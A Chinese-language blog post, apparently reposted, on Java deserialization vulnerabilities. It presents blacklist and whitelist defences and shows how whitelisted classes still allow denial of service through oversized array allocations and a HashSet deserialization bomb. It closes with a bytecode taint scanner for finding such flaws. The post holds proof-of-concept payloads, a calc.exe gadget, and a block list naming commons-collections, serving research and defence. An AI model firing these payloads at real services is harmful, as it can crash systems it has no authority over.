<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    反序列化漏洞的防御與拒絕服務

    VSole2022-08-06 23:01:30

    最近兩個月我一直在做拒絕服務漏洞相關的時間,并收獲了SpringWeblogic的兩個CVE(還有一些報告也許正在審核和修復中)但DoS漏洞終歸是雞肋洞,并沒有太大的意義,比如之前有人說我只會水垃圾洞而已,所以在以后可能打算做其他方向

    早上和pyn3rd師傅聊天,希望寫一篇DoS漏洞的分享,于是寫了這篇水文,算是拒絕服務漏洞的完結篇

    基礎篇

    編寫一個惡意的類

    public class EvilObj implements Serializable {
        static {
            try {
                Runtime.getRuntime().exec("calc.exe");
            } catch (IOException ignored) {
            }
        }
    }
    

    編寫一個普通的反序列化漏洞代碼,執行后會彈出計算器

    public static void main(String[] args)throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(new EvilObj());
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }
    

    以上的惡意類其實沒有意義,因為目標系統中不會存在這樣的惡意類,只有目標程序中存在該類才可以

    于是大家開始挖掘gadget以構造惡意類用來執行代碼或命令

    當我將gadget替換為CC6鏈后,只要目標系統包含了Commons Collections依賴則可以RCE

    oos.writeObject(CC6Gadget.get());
    

    黑名單修復

    假設作為開發者,這時候的修復手法有兩種

    • 關閉反序列化功能
    • 由于業務原因不能關閉反序列化漏洞

    于是很多項目采用了黑名單的方式進行修復

    public class SafeObjectInputStream extends ObjectInputStream {
        public SafeObjectInputStream(InputStream in) throws IOException {
            super(in);
        }
        @Override
        protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
            if (desc.getName().contains("org.apache.commons.collections")) {
                return null;
            }
            return super.resolveClass(desc);
        }
    }
    

    這時候修改我們的漏洞代碼

    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(CC6Gadget.get());
    ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
    SafeObjectInputStream ois = new SafeObjectInputStream(bais);
    ois.readObject();
    

    運行后報錯:說明成功防御了Commons Collections的反序列化漏洞

    Exception in thread "main" java.lang.ClassNotFoundException: null class
    

    類似的黑名單參考:Apache OFBIZ

    commit: https://github.com/apache/ofbiz-framework/commit/af9ed4e/

    if (className.contains("java.rmi.server")) {
        return null;
    }
    

    白名單修復

    在安全中,黑名單永遠都是不安全的,因為總會有新的姿勢和新的繞過,因此我們采用了白名單的方式進行修復

    • 允許來自于java.langjava.util的對象
    • 允許來自于本地某個特定的類
    public class SafeObjectInputStream extends ObjectInputStream {
        public SafeObjectInputStream(InputStream in) throws IOException {
            super(in);
        }
        @Override
        protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
            // 允許一些常用的JDK類
            if (desc.getName().startsWith("java.util.") || desc.getName().startsWith("java.lang.") ||
                    // 允許一些業務需要的本地類
                    desc.getName().equals("com.example.MyObject")) {
                return super.resolveClass(desc);
            } else {
                return null;
            }
        }
    }
    

    參考Spring-AMQP曾經防御反序列化漏洞的方式:添加類似的白名單

    參考commit: https://github.com/spring-projects/spring-amqp/commit/36e5599/

    static {
        SERIALIZER_MESSAGE_CONVERTER.setWhiteListPatterns(Arrays.asList("java.util.*", "java.lang.*"));
    }
    

    readObject

    當我們使用了這樣白名單后,確實不存在RCE漏洞

    但實際上存在拒絕服務漏洞的可能性

    首先從本地白名單對象入手

    public class MyObject implements Serializable {
        private void readObject(ObjectInputStream s)
                throws IOException, ClassNotFoundException {
            int len = s.readInt();
            // array init
            byte[] data = new byte[len];
            // for condition
            for (int i = 0; i < len; i++) {
                // ...
            }
            // ...
        }
    }
    

    假設本地白名單類的readObject方法中包含了類似以上的代碼,構造出以下這樣的Payload即可DoS

    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(new MyObject());
    oos.flush();
    oos.writeInt(1024*1024*1024);
    oos.flush();
    

    readExternal

    Serializable序列化時不會調用默認的構造器而Externalizable序列化時會調用默認構造器

    有時我們不希望序列化那么多,可以使用Externalizable接口

    其中writeExternalreadExternal方法可以指定序列化哪些屬性

    假設某個白名單類包含了類似下方的代碼,則存在拒絕服務漏洞

    public class MyObject implements Externalizable {
        public int a;
        // 必須存在空參構造
        public MyObject() {
        }
        public MyObject(int a) {
            this.a = a;
        }
        @Override
        public void writeExternal(ObjectOutput out) throws IOException {
            out.writeInt(a);
            // ...
        }
        @Override
        public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
            int length = in.readInt();
            // array init
            byte[] data = new byte[length];
            // for condition
            for (int i = 0; i < length; i++) {
                // ...
            }
            // ...
        }
    }
    

    構造惡意對象Payload觸發

    public static void main(String[] args) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(new MyObject(1024 * 1024 * 1024));
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        SafeObjectInputStream ois = new SafeObjectInputStream(bais);
        ois.readObject();
    }
    

    反序列化炸彈

    最壞的情況:如果白名單本地對象都是安全的,沒有拒絕服務的可能性,還有辦法嗎

    可以使用JDK中的反序列化炸彈實現拒絕服務漏洞

    出自Effective Java的原版反序列化炸彈(原代碼鏈接)

    Set<Object> root = new HashSet<>(); 
    Set<Object> s1 = root; 
    Set<Object> s2 = new HashSet<>(); 
    for(int i=0;i<100;i++){ 
        Set<Object> t1 = new HashSet<>(); 
        Set<Object> t2 = new HashSet<>(); 
        t1.add("foo"); 
        s1.add(t1); 
        s1.add(t2); 
        s2.add(t1); 
        s2.add(t2); 
        s1=t1; 
        s2=t2; 
    }
    

    使用HahsMap和也可以做到類似的效果

    // Map & HashMap
    Map<Object, Object> root = new HashMap<>(); 
    Map<Object, Object> s1 = root; 
    Map<Object, Object> s2 = new HashMap<>(); 
    for (int i = 0; i < 50; i++) { 
        HashMap<Object, Object> t1 = new HashMap<>(); 
        HashMap<Object, Object> t2 = new HashMap<>(); 
        t1.put("foo", "bar"); 
        s1.put(t1, t1); 
        s1.put(t2, t2); 
        s2.put(t1, t1); 
        s2.put(t2, t2); 
        s1 = t1; 
        s2 = t2;
    }
    

    反序列化炸彈會得到類似的數據結構,是一個100層深的圖(Graph)結構

    由于本文重點不在于反序列化炸彈,所以原理不再對原理進行分析,有興趣可以搜索得到一些結果

    關于反序列化炸彈的修復:JEP290

    提交給Apache OFBIZ后認為這只是潛在的漏洞,不能直接觸發,修復后給予致謝但無CVE

    漏洞挖掘思路

    有了以上的內容,對于如何挖掘這樣的漏洞,應該有一些思路了

    • 某框架曾經出現過反序列化漏洞
    • 某框架如果采用了黑白名單的方案修復(某logic等)
    • 確定白名單中是否包含了java.util等類,如果包含則存在反序列化炸彈(某logic的CVE-2022-21441)
    • 掃描所有白名單中的類,是否包含readObject方法,審計其中是否有類似上文的代碼
    • 類似上一條,掃描白名單類readExternal方法(某logic的CVE-2021-2344和CVE-2021-2371等等)

    如何掃描

    掃描主要是如何確認readExternal方法里存在數據初始化

    例如掃某logic這樣非開源的項目,難免要用到字節碼相關的技術

    大概的掃描邏輯如下

    • 自動批量解壓JAR
    • 掃描所有的class文件(測試了上百萬個)
    • 目標是所有類的所有方法
    • 如果方法中的字節碼匹配到某種規則,且方法名是readObjectreadExternal則說明成功

    這里提到的某種規則,在之前一篇文章中有詳細說明

    跟著三夢學Java安全:半自動挖洞(https://xz.aliyun.com/t/10925)

    這兩種數組初始化的字節碼是不同的

    int size = 10;
    byte[] a = new byte[size];
    Object[] o = new Object[size];
    

    對應字節碼如下,可以看到分別使用NEWARRAYANEWARRAY指令

    BIPUSH 10
    ISTORE 1
    ...
    ILOAD 1
    NEWARRAY T_BYTE
    ...
    ILOAD 1
    ANEWARRAY java/lang/Object
    

    在分析時需要注意

    • visitCode方法中對每個參數設置污染
    • visitMethodInsn方法中處理污染的傳遞

    在分析進入方法時,首先調用到visitCode方法,在這里手動給參數上污點

    @Override
    public void visitCode() {
        super.visitCode();
        int localIndex = 0;
        if ((this.access & Opcodes.ACC_STATIC) == 0) {
            localVariables.set(localIndex, "source");
            localIndex += 1;
        }
        for (Type argType : Type.getArgumentTypes(desc)) {
            localVariables.set(localIndex, "source");
            localIndex += argType.getSize();
        }
    }
    

    處理污點的傳遞(如果a是污染那么b=a.func()中的b也將是污染)

    @Override
    public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
        Type[] argTypes = Type.getArgumentTypes(desc);
        if (opcode != Opcodes.INVOKESTATIC) {
            Type[] extendedArgTypes = new Type[argTypes.length + 1];
            System.arraycopy(argTypes, 0, extendedArgTypes, 1, argTypes.length);
            extendedArgTypes[0] = Type.getObjectType(owner);
            argTypes = extendedArgTypes;
        }
        for (int i = 0; i < argTypes.length; i++) {
            if (operandStack.get(i).contains("source")) {
                Type returnType = Type.getReturnType(desc);
                if (returnType.getSort() != Type.VOID) {
                    super.visitMethodInsn(opcode, owner, name, desc, itf);
                    operandStack.set(0, "source");
                    return;
                }
            }
        }
        super.visitMethodInsn(opcode, owner, name, desc, itf);
    }
    

    上面這一串代碼的作用是能夠處理這樣的情況

    @Override
    public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
        // in參數是污點
        // 可以傳遞到length參數
        int length = in.readInt();
        // 這里遇到NEWARRAY指令
        // 如果length是污點則說明匹配到
        byte[] data = new byte[length];
    }
    

    最終在NEWARRAY指令的操作數中判斷污點(ANEWARRAY指令類似)

    @Override
    public void visitIntInsn(int opcode, int operand) {
        if (opcode == Opcodes.NEWARRAY) {
            if (operandStack.get(0).contains("source")) {
                if (this.name.equals("readExternal") || this.name.equals("readObject")) {
                    // 發現漏洞,進行記錄
                }
            }
        }
        super.visitIntInsn(opcode, operand);
    }
    
    漏洞挖掘序列化
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    漏洞挖掘是指對應用程序中未知漏洞的探索,通過綜合應用各種技術和工具,盡可能地找出其中的潛在漏洞。cookie的key為RememberMe,并對相關信息進行序列化,先使用aes加密,然后再使用base64編碼處理形成的。在網上關于Shiro反序列化的介紹很多,我這里就只簡單介紹一下,詳情各位可以看下大神們對其源碼的分析。
    攻擊者可在無需認證的情況下,通過構造特殊的請求,觸發反序列化,從而執行任意代碼,接管運行ForgeRock AM的服務器。本文從漏洞挖掘的角度分析其中的技術細節,也將公開一些其他的反序列化點。
    引言XXL-JOB是一個分布式任務調度平臺,其核心設計目標是開發迅速、學習簡單、輕量級、易擴展。現已開放源代碼并接入多家公司線上產品線,開箱即用。XXL-JOB v2.2.0及以下版本API接口存在Hessian2反序列化漏洞,可通過相關利用鏈結合JNDI注入實現RCE。
    對于公益SRC來說,想要沖榜就不能在一個站上浪費大量時間,公益SRC對洞的質量要求不高,所以只要 花時間,還是可以上榜的。在對某站點進行測試SQL注入的時候,先通過一些方式測試是否可能存在漏洞,然后可以直接sqlmap一把梭,也可以手工測試,然后提交漏洞。任意注冊算是低危漏洞,不過也有兩分。不管是進行SRC漏洞挖掘,還是做項目進行滲透測試,又或者是打紅藍對抗,一定要做好信息收集。
    最近兩個月我一直在做拒絕服務漏洞相關的時間,并收獲了Spring和Weblogic的兩個CVE但DoS漏洞終歸是雞肋洞,并沒有太大的意義,比如之前有人說我只會水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd師傅聊天
    0x00 前言CI框架作為PHP國外流行的框架,筆者有幸的挖掘到了它的反序列化POP鏈,其漏洞影響版本為4.*版本。
    一步一步教你漏洞挖掘之如何在半黑盒模式下挖掘RCE漏洞
    最近在學習Android APP客戶端漏洞挖掘過程中,對Android APP端漏洞挖掘做了一個基本的梳理總結本節主要是在介紹Android APP漏洞挖掘過程中,使用常見的Android漏洞挖掘工具的安裝和使用辦法,幫助Android漏洞挖掘人員提供便利。本文里面一部分的介紹采摘與網絡博客,大家可以點擊對應的網址進行查看。
    一次cms的漏洞挖掘體驗
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类